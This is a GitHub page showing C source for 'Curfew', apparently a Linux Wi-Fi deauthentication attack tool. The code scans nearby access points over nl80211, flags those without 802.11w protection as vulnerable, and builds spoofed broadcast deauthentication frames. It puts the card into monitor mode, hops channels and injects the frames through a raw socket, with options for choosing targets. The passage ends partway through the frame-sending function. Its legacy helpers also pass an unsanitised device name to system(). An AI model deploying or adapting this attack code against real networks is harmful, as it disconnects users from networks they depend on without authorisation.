-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathcurfew.c
executable file
·1394 lines (1160 loc) · 37.6 KB
/
curfew.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* MIT License
/
/ Copyright (c) 2017 - 2019, Ravjot Singh Samra (ravss@live.com)
/
/ Permission is hereby granted, free of charge, to any person obtaining
/ a copy of this software and associated documentation files
/ (the "Software"), to deal in the Software without restriction,
/ including without limitation the rights to use, copy, modify, merge,
/ publish, distribute, sublicense, and/or sell copies of the Software,
/ and to permit persons to whom the Software is furnished to do so,
/ subject to the following conditions:
/
/ The above copyright notice and this permission notice shall be
/ included in all copies or substantial portions of the Software.
/
/ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
/ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
/ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
/ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
/ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
/ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
/ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <signal.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <ctype.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#define STAMAX 512
#define MONITOR "curfew0"
unsigned short exiting;
unsigned short verbose;
/* Note that this structure is created to only hold the first two octets
/ of the "RSN Capabilities" field's information, not both bytes. */
struct RSN
{
/* Max Bytes: */
/* 1 */
unsigned char tag;
/* 1 */
/* Place to store the tag's length in. */
unsigned char length;
/* 2 */
/* Double checks if we have actually found an RSN tag and
/ not just a byte that is 0x30 with some supposed "length". */
unsigned char version;
/* 4 */
/* Got to parse the entire packet to avoid
/ PMK caching giving false RSN capability results. */
unsigned char groupDataCipherSuite[4];
/* 2 */
unsigned char pairwiseCipherSuiteCount;
/* 4 */
/* Unused. */
unsigned char pairwiseCipherSuiteList;
/* 2 */
unsigned char AKMcipherSuiteCount;
/* 4 */
/* Unused. */
unsigned char AKMcipherSuiteList;
/* 2 */
/* First byte contains required or capable values for frame management
/ protection. Ignore everything after this. */
unsigned char capabilities;
/* 2 */
/* PMK caching seems to be only used in enterprise 802.11 APs? */
unsigned char PMKIDcount;
/* 16 */
unsigned char PMKIDlist;
};
struct AP
{
/* Essentially a variable for error-checking the parser. */
short parsed;
unsigned char *bssid;
unsigned char *ssid;
/* 802.11w-2009 support. */
unsigned short MFPcapable;
unsigned short MFPrequired;
/* Storage for the access point's built deauthentication frame. */
unsigned char *deauth;
/* All packets should be the same length as addresses are 6 bytes,
/ but this is kept just in case. */
unsigned int deauthLen;
/* The signal is stored as decibel-milliwatts (dBm) later on.
/ The frequency remains stored as MHz. */
int signal;
unsigned int frequency;
};
struct PARAMETERS
{
char *device;
unsigned short scans;
/* To be used for IOCTL methods of configuring devices as opposed to
/ the new Netlink socket way. */
unsigned short depreciatedMethods;
unsigned short ceasefire;
unsigned char *ignoreBssid;
char *ignoreSsid;
unsigned char *attackBssid;
char *attackSsid;
unsigned char *attackClient;
/* TODO: Let the user choose a deauthentication reason. Currently
/ set to "Unspecified Reason". */
char *deauthReason;
/* How many frames should be sent per focus on a target. */
unsigned int burstRate;
/* Currently unused.
unsigned int attackDuration;
unsigned short maxFound;
*/
};
struct SCAN
{
unsigned short found;
struct AP *data;
struct PARAMETERS *currentArgs;
};
struct scanResults
{
int triggered;
int results;
int aborted;
};
struct handler_args
{
const char *group;
int id;
};
static int errorCallback(__attribute__((unused)) struct sockaddr_nl *nla,
struct nlmsgerr *err, void *arg)
{
int *ret;
ret = arg;
*ret = err->error;
/* I have found that disabling sequencing does not always work,
/ so this solves those odd cases. */
if (*ret == -16) /* Ignore sequence number mismatches. */
return NL_OK;
printf("ERROR: Handler returned '%s' (%d).\n",
nl_geterror(*ret), *ret);
return NL_STOP;
}
static int triggerCallback(struct nl_msg *mesg, void *arg)
{
struct genlmsghdr *hdr = nlmsg_data(nlmsg_hdr(mesg));
struct scanResults *scanTriggers = arg;
if (hdr->cmd == NL80211_CMD_SCAN_ABORTED)
{
scanTriggers->triggered = 1;
scanTriggers->aborted = 1;
}
else if (hdr->cmd == NL80211_CMD_NEW_SCAN_RESULTS)
{
scanTriggers->triggered = 1;
scanTriggers->results = 1;
}
return NL_SKIP;
}
void exitHandler(__attribute__((unused)) int signal)
{
printf("\nINFO: Caught SIGINT, trying to exit Curfew...\n");
if (!exiting) exiting = 1;
else exiting += 1;
if (exiting >= 10)
{
fprintf(stderr, "CRITICAL ERROR: More than %d SIGINTs "
"received, emergency terminating.\n", exiting);
exit(EXIT_FAILURE);
}
}
/* TODO: Didn't study and rewrite this one, pasted it from the example and
/ formatted it slightly. Is it even needed? */
static int family_handler(struct nl_msg *msg, void *arg)
{
/* Callback for NL_CB_VALID within nl_get_multicast_id().
/ From http://sourcecodebrowser.com/iw/0.9.14/genl_8c.html. */
struct handler_args *grp = arg;
struct nlattr *tb[CTRL_ATTR_MAX + 1];
struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg));
struct nlattr *mcgrp;
int rem_mcgrp;
nla_parse(tb, CTRL_ATTR_MAX, genlmsg_attrdata(gnlh, 0),
genlmsg_attrlen(gnlh, 0), NULL);
if (!tb[CTRL_ATTR_MCAST_GROUPS]) return NL_SKIP;
/* This is a loop. */
nla_for_each_nested(mcgrp, tb[CTRL_ATTR_MCAST_GROUPS], rem_mcgrp)
{
struct nlattr *tb_mcgrp[CTRL_ATTR_MCAST_GRP_MAX + 1];
nla_parse(tb_mcgrp, CTRL_ATTR_MCAST_GRP_MAX, nla_data(mcgrp),
nla_len(mcgrp), NULL);
if (!tb_mcgrp[CTRL_ATTR_MCAST_GRP_NAME]
|| !tb_mcgrp[CTRL_ATTR_MCAST_GRP_ID]) continue;
if (strncmp(nla_data(tb_mcgrp[CTRL_ATTR_MCAST_GRP_NAME]),
grp->group,
nla_len(tb_mcgrp[CTRL_ATTR_MCAST_GRP_NAME])))
{
continue;
}
grp->id = nla_get_u32(tb_mcgrp[CTRL_ATTR_MCAST_GRP_ID]);
break;
}
return NL_SKIP;
}
/* TODO: Hardly rewrote this one either. Should be an easier way to find
/ the multicast packet that gets sent to the "scan" group which indicates
/ the results of the triggered scan. */
int nl_get_multicast_id(struct nl_sock *netlinkSocket,
const char *family, const char *group)
{
struct nl_msg *msg;
int ret, driverControlID;
struct handler_args grp = { .group = group, .id = -ENOENT, };
msg = nlmsg_alloc();
if (!msg) return -ENOMEM;
driverControlID = genl_ctrl_resolve(netlinkSocket, "nlctrl");
genlmsg_put(msg, 0, 0, driverControlID, 0, 0, CTRL_CMD_GETFAMILY, 0);
ret = -ENOBUFS;
nla_put_string(msg, CTRL_ATTR_FAMILY_NAME, family);
ret = nl_send_auto_complete(netlinkSocket, msg);
if (ret < 0) printf("ERROR: %d %s\n", ret, nl_geterror(ret));
ret = 1;
nl_socket_modify_cb(netlinkSocket, NL_CB_VALID,
NL_CB_CUSTOM, family_handler, &grp);
nl_socket_modify_err_cb(netlinkSocket, NL_CB_CUSTOM,
errorCallback, &ret);
while (ret != 0) ret = nl_recvmsgs_default(netlinkSocket);
ret = grp.id;
nlmsg_free(msg);
return ret;
}
/* This function was taken from the first version of Curfew. Note that all
/ parsing is still the same, I may have done it wrong still. Seems to work. */
int parse80211w(unsigned char *data, unsigned int size)
{
unsigned int i;
short rsnPresent;
/* Stop GCC from complaining about this non-issue specifically. */
#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"
struct RSN rsn;
#pragma GCC diagnostic pop
rsnPresent = 0;
for (i = 0; i < size; ++i)
{
if (data[i] == 0x30 && data[i + 2] == 0x01)
{
rsnPresent = 1;
rsn.tag = data[i];
/* This assumes all bytes that equal 0x30 or 48
/ are RSN tags and therefore have the RSN length
/ right after it. Not good; hence why
/ the version byte check below. */
rsn.length = data[i + 1];
/* Only Version 1 exists, so this must always
/ equal 0x01. Second byte is reserved/unused
/ in RSN's standard, but add it anyway. */
rsn.version = data[i + 2] + data[i + 3];
/* Each byte does not add up, they are unique and
/ "joined" together, hence why the array is needed.
/ Ones below are not used, but parsed anyway. */
rsn.groupDataCipherSuite[0] = data[i + 4];
rsn.groupDataCipherSuite[1] = data[i + 5];
rsn.groupDataCipherSuite[2] = data[i + 6];
rsn.groupDataCipherSuite[3] = data[i + 7];
rsn.pairwiseCipherSuiteCount = data[i + 8]
+ data[i + 9];
rsn.AKMcipherSuiteCount = data[i + 10
+ (rsn.pairwiseCipherSuiteCount * 4)];
/* There's just two bits that we are interested
/ in for Management Frame Protection (MFP).
/ Namely the "Capable" bit and the "Required" bit.
/ This variable is used to store both. */
rsn.capabilities = data[i + 16
+ (rsn.AKMcipherSuiteCount * 4)];
}
}
/* Check if RSN information element is present. */
if (!rsnPresent)
return 0;
/* Convert the unsigned character variable
/ (hex value) to an integer. */
i = 0;
i = strtoul((char *)&rsn.capabilities, NULL, 16);
/* 1000000 = Capable, 0100000 = Required. For MFP to be required,
/ it must also be capable; thus, "required" is actually 1100000. */
if (i == 0)
return 0; /* Vulnerable to deauthentication attacks. */
else if (i >> 7 & 1 && i >> 6 & 1)
return 11; /* Not vulnerable to deauthentication attacks. */
else if (i >> 7 & 1)
return 10; /* Depends on the client's preference/ability. */
return 0;
}
/* TODO: While the frame builds successfully and works correctly, I should
/ probably correct some aspects of it (like the frequency). Unlike the
/ first version of Curfew, sending a packet now requires including the
/ RadioTap header. Needs a clean-up.*/
int buildAttackFrame(struct AP *data, unsigned short index,
struct PARAMETERS *args)
{
int i;
static const unsigned char packet[34] =
"\x00" /* RadioTap version. */
"\x00" /* RadioTap header pad. */
"\x08\x00" /* RadioTap header length. */
"\x00\x00\x00\x00" /* RadioTap data (empty). */
"\xc0" /* Type == 00. Subtype == 12. Frame control.*/
"\x00" /* Flags. */
"\x00\x00" /* Duration. */
"\xff\xff\xff\xff\xff\xff" /* Destination (broadcast). */
"\xe0\xb9\xe5\xb5\x8e\x8f" /* Source. */
"\xe0\xb9\xe5\xb5\x8e\x8f" /* BSSID. */
/* TODO: Don't be lazy and increment this when sending. */
"\x00\x00" /* Fragment and sequence numbers. */
/* TODO: Let the user pick the deauthentication reason. */
"\x02\x00"; /* Deauthentication reason code. */
/* Begins creating a new frame. */
memcpy(data[index].deauth, packet, sizeof(packet));
data[index].deauthLen = sizeof(packet);
/* Lazy workaround for addresses containing "0" at first index. */
if (memcmp(args->attackClient, "\00\00\00\00\00\00", 6))
{
for (i = 12; i < 18; ++i)
{
memcpy(data[index].deauth + i,
&args->attackClient[i - 12],
sizeof(unsigned char));
}
}
/* TODO: In order to save some time during the attack loop, it would
/ be much wiser to just exclude the ignored access points from even
/ having their own deauthentication frames. */
/* Must be 12 bytes to include all required addresses in frame. */
memcpy(data[index].deauth + 18, data[index].bssid, 6);
memcpy(data[index].deauth + 18 + 6, data[index].bssid, 6);
return 1;
}
int parseSSID(unsigned char *storage, unsigned char *data, unsigned int size)
{
unsigned int i, c, n;
for (i = 0; i < size; ++i)
{
if (data[i] == 0 && data[i + 1] < 33 && data[i + 1] > 0)
{
n = 0;
for (c = 0; c <= data[i + 1]; ++c)
{
if (isprint(data[i + 1 + c]))
storage[n++] = data[i + 1 + c];
}
break;
}
}
if (storage[0] == '\0')
memcpy(storage, "NULL <Wildcard SSID>", 20 * sizeof(char));
return 1;
}
int parseBSS(struct nl_msg *mesg, struct AP *data, int index)
{
int i;
struct genlmsghdr *hdr;
struct nlattr *bss[NL80211_BSS_MAX + 1];
struct nlattr *nest[NL80211_ATTR_MAX + 1];
static struct nla_policy policy[NL80211_BSS_MAX + 1];
hdr = nlmsg_data(nlmsg_hdr(mesg));
policy[NL80211_BSS_FREQUENCY].type = NLA_U32;
policy[NL80211_BSS_SIGNAL_MBM].type = NLA_U32;
i = nla_parse(nest, NL80211_ATTR_MAX, genlmsg_attrdata(hdr, 0),
genlmsg_attrlen(hdr, 0), NULL);
if ((i < 0) || (!nest[NL80211_ATTR_BSS]))
{
printf("WARNING: Skipped unparsable result data "
"'%s' (%d).\n", nl_geterror(i), i);
return 0;
}
i = nla_parse_nested(bss, NL80211_BSS_MAX, nest[NL80211_ATTR_BSS],
policy);
/* I can either use "NL80211_BSS_INFORMATION_ELEMENTS" or I can use
/ "NL80211_BSS_BEACON_IES". I do not think it impacts what we're
/ trying to get out of the frame, as both should contain the RSN
/ information element if it is in one of them? */
if ((i < 0) || (!bss[NL80211_BSS_FREQUENCY]
|| !bss[NL80211_BSS_INFORMATION_ELEMENTS]
|| !bss[NL80211_BSS_BSSID]
|| !bss[NL80211_BSS_SIGNAL_MBM]))
{
printf("WARNING: Skipped incomplete result data "
"'%s' (%d).\n", nl_geterror(i), i);
return 0;
}
/* Begin to check for duplication, in case we already have this
/ data stored. */
memcpy(data[index].bssid,
nla_data(bss[NL80211_BSS_BSSID]), 6);
if (index > 0) for (i = 0; i < index; ++i)
{
if (!memcmp(data[index].bssid, data[i].bssid, 6))
{
data[index].bssid[0] = '\0';
return 0;
}
}
/* Indicates that the access point is (going to be) parsed. */
data[index].parsed = 1;
parseSSID(data[index].ssid,
nla_data(bss[NL80211_BSS_INFORMATION_ELEMENTS]),
nla_len(bss[NL80211_BSS_INFORMATION_ELEMENTS]));
i = parse80211w(nla_data(bss[NL80211_BSS_INFORMATION_ELEMENTS]),
nla_len(bss[NL80211_BSS_INFORMATION_ELEMENTS]));
data[index].MFPcapable = (i == 10 || i == 11) ? 1 : 0;
data[index].MFPrequired = (i == 11) ? 1 : 0;
data[index].frequency = nla_get_u32(bss[NL80211_BSS_FREQUENCY]);
data[index].signal = nla_get_u32(bss[NL80211_BSS_SIGNAL_MBM]);
data[index].signal /= 100; /* mBm to dBm. */
return 1;
}
/* 'y' takes 6 hexadecimal numbers stored in 6 unsigned integers from
/ a single unsigned character string. */
#define printBSSID(x0, y, x1) printf(x0 "%02X:%02X:%02X:%02X:%02X:%02X" x1,\
y[0], y[1], y[2], y[3], y[4], y[5])
int parserCallback(struct nl_msg *mesg, void *arg)
{
struct SCAN *currentRun;
currentRun = arg;
if (!parseBSS(mesg, currentRun->data, currentRun->found))
return NL_SKIP;
if (!buildAttackFrame(currentRun->data, currentRun->found,
currentRun->currentArgs))
return NL_SKIP;
printf("\t\tSSID:\t\t%s\n", currentRun->data[currentRun->found].ssid);
printBSSID("\t\tBSSID:\t\t",
currentRun->data[currentRun->found].bssid, "\n");
printf("\t\tFrequency:\t%u MHz\n", currentRun->
data[currentRun->found].frequency);
printf("\t\tSignal:\t\t%d dBm\n", currentRun->
data[currentRun->found].signal);
if (currentRun->data[currentRun->found].MFPrequired)
printf("\t\t802.11w-2009:\tRequired (Not Vulnerable)\n");
else if (currentRun->data[currentRun->found].MFPcapable)
printf("\t\t802.11w-2009:\tCapable (Client Dependant)\n");
else printf("\t\t802.11w-2009:\tIncapable (Vulnerable)\n");
puts("\t\t---------------------------------------");
currentRun->found += 1;
return NL_OK;
}
int triggerScan(struct PARAMETERS *args)
{
int ret;
int error;
int deviceID, driverID, scanMulticastID;
struct nl_sock *netlinkSocket;
struct nl_msg *scan;
struct nl_msg *scanList;
struct scanResults scanTriggers;
scanTriggers.triggered = 0;
scanTriggers.results = 0;
scanTriggers.aborted = 0;
error = 0;
netlinkSocket = nl_socket_alloc();
genl_connect(netlinkSocket);
scan = nlmsg_alloc();
scanList = nlmsg_alloc();
deviceID = if_nametoindex(args->device);
driverID = genl_ctrl_resolve(netlinkSocket, "nl80211");
scanMulticastID = nl_get_multicast_id(netlinkSocket, "nl80211",
NL80211_MULTICAST_GROUP_SCAN);
nl_socket_add_membership(netlinkSocket, scanMulticastID);
genlmsg_put(scan, 0, 0, driverID, 0, NL80211_SCAN_FLAG_RANDOM_ADDR,
NL80211_CMD_TRIGGER_SCAN, 0);
nla_put_u32(scan, NL80211_ATTR_IFINDEX, deviceID);
/* TODO: The scan list is unused for now, but adding it anyway. */
nla_put(scanList, 1, 0, "");
nla_put_nested(scan, NL80211_ATTR_SCAN_SSIDS, scanList);
nl_socket_modify_cb(netlinkSocket, NL_CB_VALID, NL_CB_CUSTOM,
triggerCallback, &scanTriggers);
nl_socket_modify_err_cb(netlinkSocket, NL_CB_CUSTOM,
errorCallback, &error);
nl_socket_disable_seq_check(netlinkSocket);
nl_socket_disable_auto_ack(netlinkSocket);
ret = nl_send_auto(netlinkSocket, scan);
if (ret < 0)
{
printf("ERROR: Scan failed to initiate - '%s' (%d)",
nl_geterror(ret), ret);
return -1;
}
while (!scanTriggers.triggered)
{
nl_recvmsgs_default(netlinkSocket);
if (error && error != -16)
{
ret = -2;
break;
}
}
if (scanTriggers.aborted)
{
printf("ERROR: Scan was aborted.\n");
ret = -1;
}
else if (scanTriggers.results)
{
printf("SUCCESS: Scan completed successfully.\n");
ret = 0;
}
nlmsg_free(scan);
nlmsg_free(scanList);
nl_socket_drop_membership(netlinkSocket, scanMulticastID);
nl_socket_free(netlinkSocket);
return ret;
}
int getScan(struct SCAN *currentRun)
{
int oldFound;
int deviceID, driverID;
struct nl_sock *netlinkSocket;
struct nl_msg *result;
netlinkSocket = nl_socket_alloc();
genl_connect(netlinkSocket);
result = nlmsg_alloc();
deviceID = if_nametoindex(currentRun->currentArgs->device);
driverID = genl_ctrl_resolve(netlinkSocket, "nl80211");
genlmsg_put(result, 0, 0, driverID, 0, NLM_F_DUMP,
NL80211_CMD_GET_SCAN, 0);
nla_put_u32(result, NL80211_ATTR_IFINDEX, deviceID);
nl_socket_modify_cb(netlinkSocket, NL_CB_VALID,
NL_CB_CUSTOM, parserCallback, currentRun);
nl_socket_disable_seq_check(netlinkSocket);
nl_socket_disable_auto_ack(netlinkSocket);
oldFound = currentRun->found;
puts("\t\t---------------------------------------");
/* TODO: Add some error-checking here. */
nl_send_auto(netlinkSocket, result);
nl_recvmsgs_default(netlinkSocket);
if (currentRun->found == oldFound)
{
puts("\t\tZero new access points were discovered.\n"
"\t\t---------------------------------------");
}
nlmsg_free(result);
nl_socket_free(netlinkSocket);
return 0;
}
/* Perhaps merge this with the `monitorInterface` management function? */
int setMonitor(char *device, unsigned short mode)
{
int ret;
int deviceID, driverID;
int interfaceType;
struct nl_sock *netlinkSocket;
struct nl_msg *newInterface;
enum nl80211_commands command;
netlinkSocket= nl_socket_alloc();
genl_connect(netlinkSocket);
newInterface = nlmsg_alloc();
command = NL80211_CMD_SET_INTERFACE;
deviceID = if_nametoindex(device);
driverID = genl_ctrl_resolve(netlinkSocket, "nl80211");
genlmsg_put(newInterface, 0, 0, driverID, 0, 0, command, 0);
nla_put_u32(newInterface, NL80211_ATTR_IFINDEX, deviceID);
/* So far, I think only monitor mode and managed mode will be
/ required. */
interfaceType = (mode > 0)
? NL80211_IFTYPE_MONITOR : NL80211_IFTYPE_STATION;
nla_put_u32(newInterface, NL80211_ATTR_IFTYPE, interfaceType);
nl_socket_disable_seq_check(netlinkSocket);
ret = nl_send_auto_complete(netlinkSocket, newInterface);
if (verbose) printf("setMonitor (%d) send: %d\n", mode, ret);
ret = nl_recvmsgs_default(netlinkSocket);
if (verbose) printf("setMonitor (%d) recv: %d '%s'\n",
mode, ret, nl_geterror(ret));
nlmsg_free(newInterface);
nl_socket_free(netlinkSocket);
return 1;
}
/* This is the preferred way of creating a new VIF for the attacking part.
/ I have had some wireless devices' firmware give me fatal kernel panics upon
/ legally creating a new VIF. No idea exactly why, probably poor drivers. */
int monitorInterface(char *device, char *name, int createInterface)
{
int ret;
int deviceID, driverID;
struct nl_sock *netlinkSocket;
struct nl_msg *manageInterface;
enum nl80211_commands command;
netlinkSocket= nl_socket_alloc();
genl_connect(netlinkSocket);
manageInterface = nlmsg_alloc();
command = (createInterface)
? NL80211_CMD_NEW_INTERFACE : NL80211_CMD_DEL_INTERFACE;
deviceID = (createInterface)
? if_nametoindex(device) : if_nametoindex(name);
driverID = genl_ctrl_resolve(netlinkSocket, "nl80211");
genlmsg_put(manageInterface, 0, 0, driverID, 0, 0, command, 0);
nla_put_u32(manageInterface, NL80211_ATTR_IFINDEX, deviceID);
if (createInterface)
{
nla_put_string(manageInterface, NL80211_ATTR_IFNAME, name);
nla_put_u32(manageInterface, NL80211_ATTR_IFTYPE,
NL80211_IFTYPE_MONITOR);
}
nl_socket_disable_seq_check(netlinkSocket);
ret = nl_send_auto_complete(netlinkSocket, manageInterface);
if (verbose) printf("monitorInterface (%d) send: %d\n",
createInterface, ret);
ret = nl_recvmsgs_default(netlinkSocket);
if (verbose) printf("monitorInterface (%d) recv: %d '%s'\n",
createInterface, ret, nl_geterror(ret));
nlmsg_free(manageInterface);
nl_socket_free(netlinkSocket);
return 1;
}
int changeFrequency(char *device, unsigned int frequency)
{
int ret;
int deviceID, driverID;
struct nl_sock *netlinkSocket;
struct nl_msg *newFreq;
enum nl80211_commands command;
enum nl80211_chan_width channelWidth;
netlinkSocket= nl_socket_alloc();
genl_connect(netlinkSocket);
newFreq = nlmsg_alloc();
command = NL80211_CMD_SET_CHANNEL;
/* TODO: Give options for the width. Set to safe default for now. */
channelWidth = NL80211_CHAN_WIDTH_20_NOHT;
deviceID = if_nametoindex(device);
driverID = genl_ctrl_resolve(netlinkSocket, "nl80211");
genlmsg_put(newFreq, 0, 0, driverID, 0, 0, command, 0);
nla_put_u32(newFreq, NL80211_ATTR_IFINDEX, deviceID);
nla_put_u32(newFreq, NL80211_ATTR_WIPHY_FREQ, frequency);
nla_put_u32(newFreq, NL80211_ATTR_CHANNEL_WIDTH, channelWidth);
nl_socket_disable_seq_check(netlinkSocket);
ret = nl_send_auto_complete(netlinkSocket, newFreq);
if (verbose) printf("changeFrequency send: %d\n", ret);
ret = nl_recvmsgs_default(netlinkSocket);
if (verbose) printf("changeFrequency recv: %d '%s'\n",
ret, nl_geterror(ret));
nlmsg_free(newFreq);
nl_socket_free(netlinkSocket);
return 1;
}
/* This is a depreciated method of switching to monitor mode for a device.
/ Unfortunately, some devices still don't play well with cfg80211 or mac80211,
/ and nl80211. `ifconfig` and `iwconfig` use the old IOCTL calls instead.
/ I could integrate it without using `system()`, but that is wasted time. */
int depreciated_setMonitor(char *device, int createInterface)
{
char command[64 + 1];
snprintf(command, 64, "ifconfig %s down", device);
if (system(command) != 0)
return -1;
if (createInterface)
snprintf(command, 64, "iwconfig %s mode monitor", device);
else if (!createInterface)
snprintf(command, 64, "iwconfig %s mode managed", device);
if (system(command) != 0)
return -2;
snprintf(command, 64, "ifconfig %s up", device);
if (system(command) != 0)
return -3;
return 1;
}
/* This slows down the attack loop if the burst rate is too small, as
/ switching to another channel/frequency takes more time. Again, this is for
/ devices which don't work with nl80211 and its kernel systems. */
int depreciated_changeFrequency(char *device, unsigned int frequency)
{
char command[64 + 1];
snprintf(command, 64, "iwconfig %s freq %uM", device, frequency);
return system(command);
}
/* TODO: Currently this just creates regular raw sockets which then inject
/ the deauthentication packets into the 802.11 device that is
/ using RadioTap. For even higher speeds, I believe PF_RING can be used.
/ That, or I can use PACKET_TX_RING as well for a likely improvement. */
unsigned int createRawSocket(char *device)
{
int rawSocket;
struct sockaddr_ll rawSockAddr;
rawSocket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
memset(&rawSockAddr, 0, sizeof(rawSockAddr));
rawSockAddr.sll_family = AF_PACKET;
rawSockAddr.sll_ifindex = if_nametoindex(device);
rawSockAddr.sll_protocol = htons(ETH_P_ALL);
if (bind(rawSocket, (struct sockaddr*) &rawSockAddr,
sizeof(rawSockAddr)) < 0)
{
fprintf(stderr, "CRITICAL ERROR: Unable to "
"bind raw socket.\n");
return 0;
}
else return rawSocket;
}
#define snprintBSSID(x, y) snprintf(x, 13, "%02X%02X%02X%02X%02X%02X",\
y[0], y[1], y[2], y[3], y[4], y[5])
/* Not sure if this would be better overall in a macro or a function. */
/* TODO: As of 2.00, it's possible to specify two things to attack
/ or ignore (BSSID and SSID), but BSSID has precedence and
/ receives priority. Tell this to the user or check if both are
/ included so both can be compared. */
int commander(struct SCAN *currentRun, unsigned int currentTarget)
{
char currentAddress[13 + 1];
char parameterAddress[13 + 1];
if (currentRun->currentArgs->ignoreBssid[0] != '\0')
{
/* TODO: This is done to "normalise" the hex values, GDB has
/ shown that sometimes (even with the exact same addresses)
/ the unsigned characters are completely different. This needs
/ to be done outside of this function to save performance,
/ but I believe it only affects the access point's BSSID
/ that was retrieved via `nla_data`. */
snprintBSSID(currentAddress,
currentRun->data[currentTarget].bssid);
snprintBSSID(parameterAddress,
currentRun->currentArgs->ignoreBssid);
/* `memcmp` is apparently faster than `str(n)cmp`. */
if (!memcmp(currentAddress, parameterAddress, 6))
return 0;
else return 1;
}
if (currentRun->currentArgs->ignoreSsid[0] != '\0')
{
if (!memcmp(currentRun->data[currentTarget].ssid,
currentRun->currentArgs->ignoreSsid, 32))
return 0;
else return 1;
}
if (currentRun->currentArgs->attackBssid[0] != '\0')
{
snprintBSSID(currentAddress,
currentRun->data[currentTarget].bssid);
snprintBSSID(parameterAddress,
currentRun->currentArgs->attackBssid);
if (!memcmp(currentAddress, parameterAddress, 6))
return 1;
else return 0;
}
if (currentRun->currentArgs->attackSsid[0] != '\0')
{
if (!memcmp(currentRun->data[currentTarget].ssid,
currentRun->currentArgs->attackSsid, 32))
return 1;
else return 0;
}
return 1;
}
int sendAttackFrames(struct SCAN *currentRun, unsigned int rawSocket)
{
unsigned int i, b;
int ret;
